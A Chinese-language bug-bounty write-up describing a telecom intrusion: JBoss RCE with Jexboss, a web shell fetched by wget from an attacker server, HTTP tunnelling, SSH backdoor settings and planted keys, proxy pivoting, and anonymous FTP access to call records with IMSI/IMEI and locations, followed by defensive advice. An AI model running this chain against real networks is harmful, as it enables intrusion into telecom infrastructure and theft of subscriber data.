bugbounty之我是如何侵入电信网络的
字数 1654 2025-08-20 18:17:47

电信网络渗透测试实战教学:从RCE到SS7核心系统访问

1. 侦察阶段

1.1 DNS枚举

使用aiodnsbrute工具进行大规模DNS枚举:

aiodnsbrute -v -t 7000 --no-verify -w dns-list.uniq.lst target.com | grep -v Timeout | grep -v Misformatted | grep -v exception
  • 使用277万条记录的字典
  • 重点关注非常规子域名,如e[REDACTED]-nms.[REDACTED].com

1.2 全端口扫描

  • 不局限于80/443端口
  • 发现关键端口14100运行JBoss服务

2. 初始入侵:JBoss漏洞利用

2.1 使用Jexboss工具

./jexboss.py -u http://target:14100/
  • 利用JMXInvokerServlet方法获取RCE
  • 自动上传jexws4.jsp WAR shell

2.2 Shell稳定性问题

  • 常规反向shell不稳定,几秒后断开
  • 尝试多种payload均失败:
    • 不同反连端口
    • UDP连接
    • Meterpreter payload

3. 隧道技术:建立稳定连接

3.1 ABPTTS隧道

使用ABPTTS创建HTTP上的TCP隧道:

python abpttsfactory.py -o jexws4.jsp
  • 生成JSP shell替换原有jexws4.jsp
  • 上传到目标服务器:
wget http://attacker-server/jexws4.jsp -O <目标路径>/jexws4.jsp

3.2 端口转发配置

python abpttsclient.py -c config.txt -u http://target/jexws4.jsp -f 127.0.0.1:2222/127.0.0.1:22
  • 本地2222端口映射到目标22端口

3.3 隐蔽SSH配置

  1. 本地创建与目标相同的用户nms
  2. 生成SSH密钥对
  3. 修改目标sshd_config关键参数:
    • AllowTCPForwarding yes
    • GatewayPorts yes
    • PermitRootLogin yes
    • StrictModes no
  4. 上传公钥到目标authorized_keys

3.4 动态SSH隧道(SOCKS)

ssh -NfCq -D 9090 -i private_key root@127.0.0.1 -p 2222
  • 通过9090端口建立SOCKS代理
  • 所有流量通过加密隧道传输

4. 内网横向移动

4.1 代理配置

在Metasploit中设置全局代理:

setg Proxies socks4:127.0.0.1:9090

4.2 内网扫描

使用auxiliary/scanner/http/http_version模块扫描内网:

  • 发现内部JBoss实例(10.x.x.x:80)
  • 发现iRMC管理接口
  • 发现SAN交换机管理界面

4.3 二次渗透

通过代理链利用内部JBoss漏洞:

proxychains ./jexboss.py -u http://10.x.x.x/ -P socks4://127.0.0.1:9090

5. 访问电信核心系统

5.1 发现SS7相关组件

  • /home/user/ss7-cli.bat - SS7命令行管理程序
  • VLR(访问者位置寄存器)控制台客户端
  • Mobicents VoIP平台

5.2 SS7协议简介

  • 用于PSTN网络中的信令传输
  • 提供号码转换、短信服务等功能
  • 通过CDR(呼叫详细记录)进行计费

5.3 访问CDR数据库

  1. /etc/hosts发现内部FTP服务器:
    • CDR-S服务器(存储S-Records)
    • CDR-L服务器(存储L-Records)
  2. 匿名访问FTP获取CDR数据:
    • 包含呼叫始发地(A Number)
    • 被叫号码(B Number)
    • IMSI/IMEI号码
    • 呼叫时间戳和持续时间
    • 基站ID和位置信息

6. 关键防御建议

6.1 针对JBoss服务

  • 及时更新JBoss版本
  • 禁用不必要的JMXInvokerServlet
  • 实施严格的访问控制

6.2 针对隧道攻击

  • 监控异常SSH连接(特别是本地到本地)
  • 检查sshd_config文件的异常修改
  • 实施SSH证书认证而非密码认证

6.3 针对核心系统

  • 核心系统(如SS7组件)应隔离部署
  • CDR数据库访问需多重认证
  • 实施严格的网络分段策略

6.4 日志监控

  • 集中收集和分析所有关键系统日志
  • 设置异常行为告警(如配置文件修改)
  • 定期审计特权账户活动

附录:工具列表

  1. 侦察工具:

    • aiodnsbrute - 大规模DNS枚举
    • nmap - 全端口扫描
  2. 漏洞利用工具:

    • Jexboss - JBoss漏洞利用框架
    • Metasploit - 多用途渗透测试框架
  3. 隧道工具:

    • ABPTTS - HTTP上的TCP隧道
    • SSH - 加密隧道和端口转发
  4. 代理工具:

    • proxychains - 多级代理工具
    • SOCKS代理 - 动态端口转发
  5. 后渗透工具:

    • 标准Linux工具(w, find等) - 信息收集
    • FTP客户端 - 数据传输
电信网络渗透测试实战教学:从RCE到SS7核心系统访问 1. 侦察阶段 1.1 DNS枚举 使用aiodnsbrute工具进行大规模DNS枚举: 使用277万条记录的字典 重点关注非常规子域名,如 e[REDACTED]-nms.[REDACTED].com 1.2 全端口扫描 不局限于80/443端口 发现关键端口14100运行JBoss服务 2. 初始入侵:JBoss漏洞利用 2.1 使用Jexboss工具 利用JMXInvokerServlet方法获取RCE 自动上传jexws4.jsp WAR shell 2.2 Shell稳定性问题 常规反向shell不稳定,几秒后断开 尝试多种payload均失败: 不同反连端口 UDP连接 Meterpreter payload 3. 隧道技术:建立稳定连接 3.1 ABPTTS隧道 使用ABPTTS创建HTTP上的TCP隧道: 生成JSP shell替换原有jexws4.jsp 上传到目标服务器: 3.2 端口转发配置 本地2222端口映射到目标22端口 3.3 隐蔽SSH配置 本地创建与目标相同的用户 nms 生成SSH密钥对 修改目标sshd_ config关键参数: AllowTCPForwarding yes GatewayPorts yes PermitRootLogin yes StrictModes no 上传公钥到目标 authorized_keys 3.4 动态SSH隧道(SOCKS) 通过9090端口建立SOCKS代理 所有流量通过加密隧道传输 4. 内网横向移动 4.1 代理配置 在Metasploit中设置全局代理: 4.2 内网扫描 使用 auxiliary/scanner/http/http_version 模块扫描内网: 发现内部JBoss实例(10.x.x.x:80) 发现iRMC管理接口 发现SAN交换机管理界面 4.3 二次渗透 通过代理链利用内部JBoss漏洞: 5. 访问电信核心系统 5.1 发现SS7相关组件 /home/user/ss7-cli.bat - SS7命令行管理程序 VLR(访问者位置寄存器)控制台客户端 Mobicents VoIP平台 5.2 SS7协议简介 用于PSTN网络中的信令传输 提供号码转换、短信服务等功能 通过CDR(呼叫详细记录)进行计费 5.3 访问CDR数据库 从 /etc/hosts 发现内部FTP服务器: CDR-S服务器(存储S-Records) CDR-L服务器(存储L-Records) 匿名访问FTP获取CDR数据: 包含呼叫始发地(A Number) 被叫号码(B Number) IMSI/IMEI号码 呼叫时间戳和持续时间 基站ID和位置信息 6. 关键防御建议 6.1 针对JBoss服务 及时更新JBoss版本 禁用不必要的JMXInvokerServlet 实施严格的访问控制 6.2 针对隧道攻击 监控异常SSH连接(特别是本地到本地) 检查sshd_ config文件的异常修改 实施SSH证书认证而非密码认证 6.3 针对核心系统 核心系统(如SS7组件)应隔离部署 CDR数据库访问需多重认证 实施严格的网络分段策略 6.4 日志监控 集中收集和分析所有关键系统日志 设置异常行为告警(如配置文件修改) 定期审计特权账户活动 附录:工具列表 侦察工具 : aiodnsbrute - 大规模DNS枚举 nmap - 全端口扫描 漏洞利用工具 : Jexboss - JBoss漏洞利用框架 Metasploit - 多用途渗透测试框架 隧道工具 : ABPTTS - HTTP上的TCP隧道 SSH - 加密隧道和端口转发 代理工具 : proxychains - 多级代理工具 SOCKS代理 - 动态端口转发 后渗透工具 : 标准Linux工具(w, find等) - 信息收集 FTP客户端 - 数据传输